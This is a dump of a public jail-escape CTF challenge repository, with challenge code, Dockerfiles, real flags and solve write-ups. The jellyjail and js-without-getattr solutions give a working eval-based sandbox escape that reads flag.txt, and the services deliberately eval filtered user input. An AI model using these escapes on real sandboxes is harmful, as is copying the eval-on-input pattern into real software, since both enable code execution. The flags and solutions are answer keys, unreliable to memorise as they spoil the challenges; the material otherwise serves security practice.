7 | I asked my friend to make me a jail challenge for this CTF. It seems we have very different ideas for what a "jail challenge" is...
8 |
9 | https://elangakesmames.itch.io/impossible-maze
10 | (No handout, beat the game in browser)
11 |
--------------------------------------------------------------------------------
/impossible-maze/solve/images/blocked.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/impossible-maze/solve/images/blocked.png
--------------------------------------------------------------------------------
/impossible-maze/solve/images/io.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/impossible-maze/solve/images/io.png
--------------------------------------------------------------------------------
/impossible-maze/solve/images/partial_flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/impossible-maze/solve/images/partial_flag.png
--------------------------------------------------------------------------------
/impossible-maze/solve/images/proc_list.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/impossible-maze/solve/images/proc_list.png
--------------------------------------------------------------------------------
/jailguessr/README.md:
--------------------------------------------------------------------------------
1 | # jailguessr
2 |
3 | category: osint
4 |
5 | ## description
6 |
7 | I was on the road the other day when I felt the strong urge to find a jail. Can you locate the nearest jail from my current location?
8 |
9 | warning: the proof of work may take several minutes
10 |
11 |
--------------------------------------------------------------------------------
/jailguessr/handout/image.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/jailguessr/handout/image.png
--------------------------------------------------------------------------------
/jailguessr/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 main.py /srv/app/run
6 | COPY --chmod=444 flag.txt /srv/app/flag.txt
7 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_CONNS_PER_IP=2 JAIL_TIME=1234 JAIL_POW=100000
8 |
--------------------------------------------------------------------------------
/jailguessr/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{i_hope_you_enjoyed_your_stay_at_this_jail}
2 |
--------------------------------------------------------------------------------
/jailguessr/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | flag = open('flag.txt').read()
3 |
4 | nearest_jail = 'southernqueenslandcorrectionalcentre'
5 |
6 | x = input("What is the nearest jail to the image? Please enter it as it appears on google maps but without any punctuation, spaces, or capitalization (e.g. adxflorence)\n> ").lower()
7 | if x == nearest_jail:
8 | print("Good job! Here is your flag:", flag)
9 | else:
10 | print("Try again.")
11 |
--------------------------------------------------------------------------------
/jailguessr/solve/README.md:
--------------------------------------------------------------------------------
1 | # jailguessr
2 | i have no clue, but this is a geoguessr challenge and it's not even asking for coordinates, just the jail, so it should be doable.
--------------------------------------------------------------------------------
/jellyjail/README.md:
--------------------------------------------------------------------------------
1 | # jellyjail
2 |
3 | category: pyjail/esolang/jelly/introductory
4 |
5 | ## description
6 |
7 | how can one golf with jelly if it just explodes when you hit it with a large metal golf club?
8 |
--------------------------------------------------------------------------------
/jellyjail/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 jellylanguage/ srv/app/jellylanguage/
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=25 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/jellyjail/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/jellyjail/handout/jellylanguage/.gitignore:
--------------------------------------------------------------------------------
1 | build
2 | utils/findhash2
3 | *.pyc
4 |
--------------------------------------------------------------------------------
/jellyjail/handout/jellylanguage/LICENSE.txt:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 DennisMitchell
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/jellyjail/handout/jellylanguage/jelly/__init__.py:
--------------------------------------------------------------------------------
1 | from sys import stderr
2 |
3 | from .interpreter import *
4 |
5 | def main(code, args, end):
6 | for index in range(min(7, len(args))):
7 | atoms['³⁴⁵⁶⁷⁸⁹'[index]].call = lambda literal = args[index]: literal
8 |
9 | try:
10 | output(jelly_eval(code, args[:2]), end)
11 | except KeyboardInterrupt:
12 | if stderr.isatty():
13 | sys.stderr.write('\n')
14 | return 130
15 |
--------------------------------------------------------------------------------
/jellyjail/handout/jellylanguage/jelly/utils.py:
--------------------------------------------------------------------------------
1 | class attrdict(dict):
2 | def __init__(self, *args, **kwargs):
3 | dict.__init__(self, *args, **kwargs)
4 | self.__dict__ = self
5 |
6 | class LazyImport:
7 | def __init__(self, *args):
8 | self.args = args
9 | def __getattr__(self, attr):
10 | self.__dict__ = __import__(*self.args).__dict__
11 | return self.__dict__[attr]
12 |
13 | def lazy_import(names):
14 | names = names.split()
15 | if len(names) == 1:
16 | return LazyImport(*names)
17 | return map(LazyImport, names)
18 |
--------------------------------------------------------------------------------
/jellyjail/handout/jellylanguage/scripts/jelly:
--------------------------------------------------------------------------------
1 | ../jelly/__main__.py
--------------------------------------------------------------------------------
/jellyjail/handout/jellylanguage/setup.py:
--------------------------------------------------------------------------------
1 | from distutils.core import setup
2 |
3 | setup(
4 | name = 'jellylanguage',
5 | version = '0.1.31',
6 | packages = [
7 | 'jelly'
8 | ],
9 | scripts = [
10 | 'scripts/jelly'
11 | ],
12 | install_requires = [
13 | 'sympy'
14 | ]
15 | )
16 |
--------------------------------------------------------------------------------
/jellyjail/handout/jellylanguage/utils/Makefile:
--------------------------------------------------------------------------------
1 | CACHE_SIZE ?= 256
2 | NUM_THREADS ?= $(shell nproc)
3 |
4 | CFLAGS += -Wall -Wextra -O2 -pthread
5 | CFLAGS += -DNUM_THREADS=$(NUM_THREADS) -DCACHE_SIZE=$(CACHE_SIZE)
6 |
7 | findhash2: findhash2.c
8 | $(CC) $(CFLAGS) -o findhash2 findhash2.c
9 |
--------------------------------------------------------------------------------
/jellyjail/handout/jellylanguage/utils/findhash:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | cd "$(dirname -- "$(readlink -e -- "$0")")"
4 |
5 | [[ -f findhash2 ]] || make -s
6 |
7 | (($# == 2)) && set "$@" $(seq "$2")
8 |
9 | python3 findhash1.py | ./findhash2 "$@"
10 |
--------------------------------------------------------------------------------
/jellyjail/handout/jellylanguage/utils/findhash1.py:
--------------------------------------------------------------------------------
1 | from hashlib import shake_256
2 | from jelly import jellify, jelly_eval
3 | from sys import stdin, stdout
4 |
5 | objects = stdin.read()
6 |
7 | try:
8 | objects = jellify(eval(objects))
9 | except:
10 | objects = jelly_eval(objects, [])
11 |
12 | for object in objects:
13 | stdout.buffer.write(shake_256(repr(object).encode('utf-8')).digest(512))
14 |
--------------------------------------------------------------------------------
/jellyjail/handout/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | # https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
3 | from jellylanguage.jelly.interpreter import jelly_eval
4 |
5 | inp = input()[:2]
6 | banned = "0123456789ỌŒƓVС" # good thing i blocked all ways of getting to python eval !!! yep
7 |
8 | if not all([c not in inp for c in banned]):
9 | print('stop using banned')
10 | exit()
11 |
12 | jelly_eval(inp, [])
13 |
14 |
--------------------------------------------------------------------------------
/jellyjail/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python@sha256:4d440b214e447deddc0a94de23a3d97d28dfafdf125a8b4bb8073381510c9ee2 AS app
2 |
3 | FROM pwn.red/jail
4 | COPY --from=app / /srv
5 | COPY --chmod=755 jellylanguage/ srv/app/jellylanguage/
6 | COPY --chmod=755 main.py /srv/app/run
7 | COPY --chmod=444 flag.txt /srv/app/flag.txt
8 | ENV JAIL_MEM=27M JAIL_ENV_NUM=5 JAIL_TIME=25 JAIL_CONNS_PER_IP=2
9 |
--------------------------------------------------------------------------------
/jellyjail/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{jelllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllllly_c3056822a950d0}
2 |
--------------------------------------------------------------------------------
/jellyjail/remote/jellylanguage/.gitignore:
--------------------------------------------------------------------------------
1 | build
2 | utils/findhash2
3 | *.pyc
4 |
--------------------------------------------------------------------------------
/jellyjail/remote/jellylanguage/LICENSE.txt:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2017 DennisMitchell
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/jellyjail/remote/jellylanguage/jelly/__init__.py:
--------------------------------------------------------------------------------
1 | from sys import stderr
2 |
3 | from .interpreter import *
4 |
5 | def main(code, args, end):
6 | for index in range(min(7, len(args))):
7 | atoms['³⁴⁵⁶⁷⁸⁹'[index]].call = lambda literal = args[index]: literal
8 |
9 | try:
10 | output(jelly_eval(code, args[:2]), end)
11 | except KeyboardInterrupt:
12 | if stderr.isatty():
13 | sys.stderr.write('\n')
14 | return 130
15 |
--------------------------------------------------------------------------------
/jellyjail/remote/jellylanguage/jelly/utils.py:
--------------------------------------------------------------------------------
1 | class attrdict(dict):
2 | def __init__(self, *args, **kwargs):
3 | dict.__init__(self, *args, **kwargs)
4 | self.__dict__ = self
5 |
6 | class LazyImport:
7 | def __init__(self, *args):
8 | self.args = args
9 | def __getattr__(self, attr):
10 | self.__dict__ = __import__(*self.args).__dict__
11 | return self.__dict__[attr]
12 |
13 | def lazy_import(names):
14 | names = names.split()
15 | if len(names) == 1:
16 | return LazyImport(*names)
17 | return map(LazyImport, names)
18 |
--------------------------------------------------------------------------------
/jellyjail/remote/jellylanguage/scripts/jelly:
--------------------------------------------------------------------------------
1 | ../jelly/__main__.py
--------------------------------------------------------------------------------
/jellyjail/remote/jellylanguage/setup.py:
--------------------------------------------------------------------------------
1 | from distutils.core import setup
2 |
3 | setup(
4 | name = 'jellylanguage',
5 | version = '0.1.31',
6 | packages = [
7 | 'jelly'
8 | ],
9 | scripts = [
10 | 'scripts/jelly'
11 | ],
12 | install_requires = [
13 | 'sympy'
14 | ]
15 | )
16 |
--------------------------------------------------------------------------------
/jellyjail/remote/jellylanguage/utils/Makefile:
--------------------------------------------------------------------------------
1 | CACHE_SIZE ?= 256
2 | NUM_THREADS ?= $(shell nproc)
3 |
4 | CFLAGS += -Wall -Wextra -O2 -pthread
5 | CFLAGS += -DNUM_THREADS=$(NUM_THREADS) -DCACHE_SIZE=$(CACHE_SIZE)
6 |
7 | findhash2: findhash2.c
8 | $(CC) $(CFLAGS) -o findhash2 findhash2.c
9 |
--------------------------------------------------------------------------------
/jellyjail/remote/jellylanguage/utils/findhash:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 |
3 | cd "$(dirname -- "$(readlink -e -- "$0")")"
4 |
5 | [[ -f findhash2 ]] || make -s
6 |
7 | (($# == 2)) && set "$@" $(seq "$2")
8 |
9 | python3 findhash1.py | ./findhash2 "$@"
10 |
--------------------------------------------------------------------------------
/jellyjail/remote/jellylanguage/utils/findhash1.py:
--------------------------------------------------------------------------------
1 | from hashlib import shake_256
2 | from jelly import jellify, jelly_eval
3 | from sys import stdin, stdout
4 |
5 | objects = stdin.read()
6 |
7 | try:
8 | objects = jellify(eval(objects))
9 | except:
10 | objects = jelly_eval(objects, [])
11 |
12 | for object in objects:
13 | stdout.buffer.write(shake_256(repr(object).encode('utf-8')).digest(512))
14 |
--------------------------------------------------------------------------------
/jellyjail/remote/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/python3
2 | # https://github.com/DennisMitchell/jellylanguage/tree/70c9fd93ab009c05dc396f8cc091f72b212fb188
3 | from jellylanguage.jelly.interpreter import jelly_eval
4 |
5 | inp = input()[:2]
6 | banned = "0123456789ỌŒƓVС"
7 |
8 | if not all([c not in inp for c in banned]):
9 | print('stop using banned')
10 | exit()
11 |
12 | jelly_eval(inp, [])
13 |
14 |
--------------------------------------------------------------------------------
/jellyjail/solve/README.md:
--------------------------------------------------------------------------------
1 | # jellyjail
2 |
3 | a bunch of chars (`0123456789ỌŒƓVС`) are all banned
4 |
5 | 0-9 provide integer literals
6 |
7 | that weird O with the dot beneath it is the `chr` function
8 |
9 | that OE char allows for a bunch of things, but notably the easy way to `python_eval` a string is banned
10 |
11 | the G with the thing on the top right quite literally does `python_eval(input())`, but that is also banned.
12 |
13 | the V character is used to do `jelly_eval` which evals a string as jelly code, and that is banned
14 |
15 | now taking a look at the D with a line through it and also the upside down exclamation mark. the upside down exclamation mark does ntimes. looking at the source
16 | code for ntimes, we can see instances of `last_input`, and looking at `last_input`, it calls `python_eval(input())`
17 |
18 | we can search for what other functions call `last_input`, and there is a function nfind that does it. nfind is used by the `#` character in this,
19 | so we can just use `#` to get eval of any input
20 |
21 | however, there is an error that min arg is an empty sequence. we can just put any value that evaluates to something that is
22 | not None before, like `⁸`, which pushed `[]` onto the stack (dont ask me how this is not also an empty sequence, because idk what is going on here either).
23 |
24 | anyways, then we can just import os , os.system, and then get the flag
25 |
26 |
--------------------------------------------------------------------------------
/js-without-getattr/README.md:
--------------------------------------------------------------------------------
1 | # js without getattr
2 |
3 | category: mainstream/js/golf
4 |
5 | ## description
6 |
7 | attributes are overrated tbh so lets not
8 |
9 |
--------------------------------------------------------------------------------
/js-without-getattr/handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node@sha256:c4856362ed3261b2e9e0d5f3113bd9feace612884f8101ca09da553f856fd0a2 AS app
2 | WORKDIR /app
3 | RUN /usr/local/bin/npm install esprima
4 |
5 | FROM pwn.red/jail
6 | COPY --from=app / /srv
7 | COPY --chmod=755 main.js /srv/app/run
8 | COPY --chmod=444 flag.txt /srv/app/flag.txt
9 | ENV JAIL_MEM=40M JAIL_PIDS=10 JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
10 |
11 |
--------------------------------------------------------------------------------
/js-without-getattr/handout/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/js-without-getattr/handout/main.js:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/node
2 | const readline = require('node:readline');
3 | const rl = readline.createInterface({input: process.stdin, output: process.stdout});
4 | const {parseScript} = require('esprima');
5 |
6 | rl.question('can you js without getattr? > ', (inp) => {
7 | // length filter
8 | if (inp.length > 480) {
9 | console.log('fails length filter');
10 | rl.close();
11 | return;
12 | }
13 |
14 | // char filter
15 | const banned = new Set("<.;,;.>:`[\x09\x0a\x0b\x0c\x0d]`upxq\"\\\x20"); // partially stolen from caasio ce from angstromctf 2024
16 | for (const char of inp) {
17 | const c = char.charCodeAt(0);
18 | if (c < 0x20 || c > 0x7e || banned.has(char)) {
19 | console.log("fails char filter (" + char + ')');
20 | rl.close()
21 | return;
22 | }
23 | }
24 |
25 | // tree filter
26 | let parsed = parseScript(inp);
27 | let visit = ((n) => {
28 | if (typeof n === 'string') {
29 | if (['VariableDeclaration', 'SpreadElement',
30 | 'NewExpression', 'CallExpression',
31 | 'Proxy', '__defineGetter__', '__proto__',
32 | 'Property', 'MemberExpression', 'Property',
33 | 'ArrayExpression', 'instanceof'].includes(n)) {
34 | console.log('fails tree filter');
35 | console.log(n);
36 | throw new Error();
37 | };
38 | }
39 | if (n instanceof Object) {
40 | for (let k of Object.getOwnPropertyNames(n)) {
41 | visit(n[k]);
42 | }
43 | }
44 | });
45 | try {
46 | visit(parsed);
47 | } catch {
48 | rl.close();
49 | return;
50 | }
51 |
52 | // safety
53 | delete parsed;
54 | delete parseScript;
55 | delete debug;
56 | delete banned;
57 | delete visit;
58 | delete readline;
59 | delete fetch;
60 | delete Symbol;
61 |
62 | // send it
63 | let res = eval(inp);
64 | console.log(res)
65 |
66 | rl.close();
67 | });
68 |
--------------------------------------------------------------------------------
/js-without-getattr/handout/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "dependencies": {
3 | "esprima": "^4.0.1"
4 | }
5 | }
6 |
--------------------------------------------------------------------------------
/js-without-getattr/remote/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node@sha256:c4856362ed3261b2e9e0d5f3113bd9feace612884f8101ca09da553f856fd0a2 AS app
2 | WORKDIR /app
3 | RUN /usr/local/bin/npm install esprima
4 |
5 | FROM pwn.red/jail
6 | COPY --from=app / /srv
7 | COPY --chmod=755 main.js /srv/app/run
8 | COPY --chmod=444 flag.txt /srv/app/flag.txt
9 | ENV JAIL_MEM=40M JAIL_PIDS=10 JAIL_ENV_NUM=5 JAIL_TIME=30 JAIL_CONNS_PER_IP=2
10 |
11 |
--------------------------------------------------------------------------------
/js-without-getattr/remote/flag.txt:
--------------------------------------------------------------------------------
1 | jail{would_you_like_with_with_your_order?_155f4dd16713771}
2 |
--------------------------------------------------------------------------------
/js-without-getattr/remote/main.js:
--------------------------------------------------------------------------------
1 | #!/usr/local/bin/node
2 | const readline = require('node:readline');
3 | const rl = readline.createInterface({input: process.stdin, output: process.stdout});
4 | const {parseScript} = require('esprima');
5 |
6 | rl.question('can you js without getattr? > ', (inp) => {
7 | // length filter
8 | if (inp.length > 480) {
9 | console.log('fails length filter');
10 | rl.close();
11 | return;
12 | }
13 |
14 | // char filter
15 | const banned = new Set("<.;,;.>:`[\x09\x0a\x0b\x0c\x0d]`upxq\"\\\x20"); // partially stolen from caasio ce from angstromctf 2024
16 | for (const char of inp) {
17 | const c = char.charCodeAt(0);
18 | if (c < 0x20 || c > 0x7e || banned.has(char)) {
19 | console.log("fails char filter (" + char + ')');
20 | rl.close()
21 | return;
22 | }
23 | }
24 |
25 | // tree filter
26 | let parsed = parseScript(inp);
27 | let visit = ((n) => {
28 | if (typeof n === 'string') {
29 | if (['VariableDeclaration', 'SpreadElement',
30 | 'NewExpression', 'CallExpression',
31 | 'Proxy', '__defineGetter__', '__proto__',
32 | 'Property', 'MemberExpression', 'Property',
33 | 'ArrayExpression', 'instanceof'].includes(n)) {
34 | console.log('fails tree filter');
35 | console.log(n);
36 | throw new Error();
37 | };
38 | }
39 | if (n instanceof Object) {
40 | for (let k of Object.getOwnPropertyNames(n)) {
41 | visit(n[k]);
42 | }
43 | }
44 | });
45 | try {
46 | visit(parsed);
47 | } catch {
48 | rl.close();
49 | return;
50 | }
51 |
52 | // safety
53 | delete parsed;
54 | delete parseScript;
55 | delete debug;
56 | delete banned;
57 | delete visit;
58 | delete readline;
59 | delete fetch;
60 | delete Symbol;
61 |
62 | // send it
63 | let res = eval(inp);
64 | console.log(res)
65 |
66 | rl.close();
67 | });
68 |
--------------------------------------------------------------------------------
/js-without-getattr/remote/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "dependencies": {
3 | "esprima": "^4.0.1"
4 | }
5 | }
6 |
--------------------------------------------------------------------------------
/js-without-getattr/solve/README.md:
--------------------------------------------------------------------------------
1 | # js without getattr
2 |
3 | there are a few required noticings here
4 |
5 | first, we can still define variables if we dont use `let`, `var`, or `const`.
6 |
7 | second, the `with` statement exists (see [here](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with))
8 |
9 | third, process.mainModule.require is the global require function even though it is not listed on process.mainModule as an attribute
10 |
11 | with `with`, we have arb attribute read and write pretty much
12 |
13 | we can overwrite console.log with eval, and then return a string which is eval'd.
14 |
15 | notably, we dont need to use semicolons after a with statement so the following is valid i think
16 |
17 | ```
18 | with(console){log=eval}'malicious code here'
19 | ```
20 |
21 | next, we need to make arb strings to win
22 |
23 | we can avoid the tree filter, but the char filter is still there
24 |
25 | to win, we can use String.fromCharCode in another with statement and set a variable with a one letter name to it
26 |
27 | lastly, we can use `throw` and `fs` module to get the flag in a very short payload
28 |
29 | the payload is below
30 |
31 | ```
32 | with(console){log=eval}'with(String){z=fromCharCode}eval(z(116)+z(104)+z(114)+z(111)+z(119)+z(32)+z(112)+z(114)+z(111)+z(99)+z(101)+z(115)+z(115)+z(46)+z(109)+z(97)+z(105)+z(110)+z(77)+z(111)+z(100)+z(117)+z(108)+z(101)+z(46)+z(114)+z(101)+z(113)+z(117)+z(105)+z(114)+z(101)+z(40)+z(39)+z(102)+z(115)+z(39)+z(41)+z(46)+z(114)+z(101)+z(97)+z(100)+z(70)+z(105)+z(108)+z(101)+z(83)+z(121)+z(110)+z(99)+z(40)+z(39)+z(102)+z(108)+z(97)+z(103)+z(46)+z(116)+z(120)+z(116)+z(39)+z(41))'
33 | ```
34 |
35 | you can also compress with substitution like `g=z(101)` within the brackets of `if(1){}`
36 |
--------------------------------------------------------------------------------
/last-message/.gitignore:
--------------------------------------------------------------------------------
1 | **/__pycache__
2 | **/venv
3 | **/env
4 | **/.venv
5 | **/.env
6 |
7 | **/images/*
8 | **/!images/default.png
--------------------------------------------------------------------------------
/last-message/README.md:
--------------------------------------------------------------------------------
1 | # last message
2 |
3 | category: pyjail/pickle/web
4 |
5 | ## description
6 |
7 | Check out this completely anonymous chat app I built - feel free to send me a message as well!
8 |
9 | [challs1.pyjail.club:7703](https://challs1.pyjail.club:7703)
10 |
11 | `nc challs1.pyjail.club 12345`
12 |
13 |
--------------------------------------------------------------------------------
/last-message/handout/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.9-slim
2 |
3 | WORKDIR /app
4 |
5 | COPY requirements.txt .
6 | RUN pip install --no-cache-dir -r requirements.txt
7 |
8 | COPY . .
9 |
10 | EXPOSE 8080
11 |
12 | ENV FLASK_APP=app.py
13 | CMD ["flask", "run", "--host=0.0.0.0", "--port=8080", "--cert=adhoc"]
14 |
--------------------------------------------------------------------------------
/last-message/handout/app/account.py:
--------------------------------------------------------------------------------
1 | from random import SystemRandom
2 | import string
3 |
4 | random = SystemRandom()
5 |
6 | def generate_username(chars=8, digits=4):
7 | characters = string.ascii_letters + string.digits
8 | username = ''.join(random.choice(characters) for _ in range(chars))
9 | username += ''.join(random.choice(string.digits) for _ in range(digits))
10 | return username
11 |
12 | def generate_password(chars=16):
13 | characters = string.ascii_letters + string.digits
14 | return ''.join(random.choice(characters) for _ in range(chars))
--------------------------------------------------------------------------------
/last-message/handout/app/requirements.txt:
--------------------------------------------------------------------------------
1 | bidict==0.23.1
2 | blinker==1.8.2
3 | click==8.1.7
4 | Flask==3.0.3
5 | Flask-SocketIO==5.3.6
6 | h11==0.14.0
7 | itsdangerous==2.2.0
8 | Jinja2==3.1.4
9 | MarkupSafe==2.1.5
10 | python-engineio==4.9.1
11 | python-socketio==5.11.3
12 | simple-websocket==1.0.0
13 | Werkzeug==3.0.3
14 | wsproto==1.2.0
15 | cryptography
--------------------------------------------------------------------------------
/last-message/handout/app/static/default.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/jailctf/challenges-2024/9fbd3d04bf856d90060c5fe3cb307cd362b8c0d3/last-message/handout/app/static/default.jpg
--------------------------------------------------------------------------------
/last-message/handout/app/static/index.css:
--------------------------------------------------------------------------------
1 | :root {
2 | --background: 210 100% 6%;
3 | --foreground: 180 100% 90%;
4 | --primary: 200 100% 28%;
5 | --primary-foreground: 180 100% 90%;
6 | --secondary: 203 23% 30%;
7 | --secondary-foreground: 180 100% 90%;
8 | --accent: 198 70% 50%;
9 | --accent-foreground: 185 10% 13%;
10 | --destructive: 0 98% 44%;
11 | --destructive-foreground: 0 0% 100%;
12 | --muted: 200 50% 30%;
13 | --muted-foreground: 180 100% 90%;
14 | --card: 210 100% 12%;
15 | --card-foreground: 180 100% 90%;
16 | --popover: 210 100% 15%;
17 | --popover-foreground: 180 100% 90%;
18 | --border: 210 50% 40%;
19 | --input: 210 50% 40%;
20 | --ring: 180 100% 90%;
21 | --radius: 0rem;
22 | }
23 |
24 |
25 | /* Minimal Scrollbar Style */
26 | ::-webkit-scrollbar {
27 | width: 8px;
28 | }
29 |
30 | ::-webkit-scrollbar-track {
31 | background-color: var(--background);
32 | }
33 |
34 | ::-webkit-scrollbar-thumb {
35 | background-color: var(--muted);
36 | border-radius: var(--radius);
37 | }
38 |
39 | ::-webkit-scrollbar-thumb:hover {
40 | background-color: var(--muted-foreground);
41 | }
--------------------------------------------------------------------------------
/last-message/handout/app/static/pyscript.json:
--------------------------------------------------------------------------------
1 | {
2 | "packages": []
3 | }
--------------------------------------------------------------------------------
/last-message/handout/bot/bot.js:
--------------------------------------------------------------------------------
1 | const { chromium } = require('playwright-chromium');
2 | const readline = require('readline');
3 |
4 | const FLAG = process.env.FLAG;
5 | const URL = "http://app:8080";
6 |
7 | (async function () {
8 | const browser = await chromium.launch({
9 | args: ['--ignore-certificate-errors'],
10 | ignoreHTTPSErrors: true
11 | });
12 |
13 | const rl = readline.createInterface({
14 | input: process.stdin,
15 | output: process.stdout
16 | });
17 |
18 | async function start() {
19 | console.log(`Visiting ${URL}`);
20 |
21 | const context = await browser.newContext({ ignoreHTTPSErrors: true });
22 | await context.addCookies([{
23 | name: 'FLAG',
24 | value: FLAG,
25 | domain: 'app',
26 | path: '/'
27 | }]);
28 |
29 | const page = await context.newPage();
30 |
31 | await page.goto(URL, { waitUntil: 'networkidle' });
32 |
33 | console.log(`Waiting for page to load, this may take a few seconds...`);
34 | await page.waitForSelector('#username');
35 | const username = await page.$eval('#username', element => element.innerHTML);
36 | console.log(`Username: ${username}`);
37 |
38 | setTimeout(() => {
39 | try {
40 | page.close();
41 | console.log('Timeout reached. Closing the page.');
42 | process.exit(0);
43 | } catch (err) {
44 | console.error(`Error: ${err}`);
45 | }
46 | }, 30000);
47 | }
48 |
49 | console.log('The admin will visit the page and send you their username. Press Enter to continue.');
50 |
51 | rl.question('', async () => {
52 | try {
53 | await start();
54 | } catch (err) {
55 | console.error(`Error: ${err}`);
56 | } finally {
57 | rl.close();
58 | }
59 | });
60 | })();
--------------------------------------------------------------------------------
/last-message/handout/bot/flag.txt:
--------------------------------------------------------------------------------
1 | jail{flag_will_be_here_on_remote}
2 |
--------------------------------------------------------------------------------
/last-message/handout/bot/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 | socat TCP-LISTEN:4444,reuseaddr,fork EXEC:"node bot.js"
--------------------------------------------------------------------------------
/last-message/handout/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 |
3 | services:
4 | app:
5 | build:
6 | context: ./app
7 | dockerfile: Dockerfile
8 | ports:
9 | - "8080:8080"
10 | networks:
11 | - last-message-network
12 |
13 | bot:
14 | build:
15 | context: ./bot
16 | dockerfile: Dockerfile
17 | ports:
18 | - "4444:4444"
19 | networks:
20 | - last-message-network
21 | environment:
22 | FLAG: jail{the_flag_will_be_here_on_remote}
23 | depends_on:
24 | - app
25 |
26 | networks:
27 | last-message-network:
28 | driver: bridge
29 |
30 |
--------------------------------------------------------------------------------
/last-message/remote/app/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.9-slim
2 |
3 | WORKDIR /app
4 |
5 | COPY requirements.txt .
6 | RUN pip install --no-cache-dir -r requirements.txt
7 |
8 | COPY . .
9 |
10 | EXPOSE 8080
11 |
12 | ENV FLASK_APP=app.py
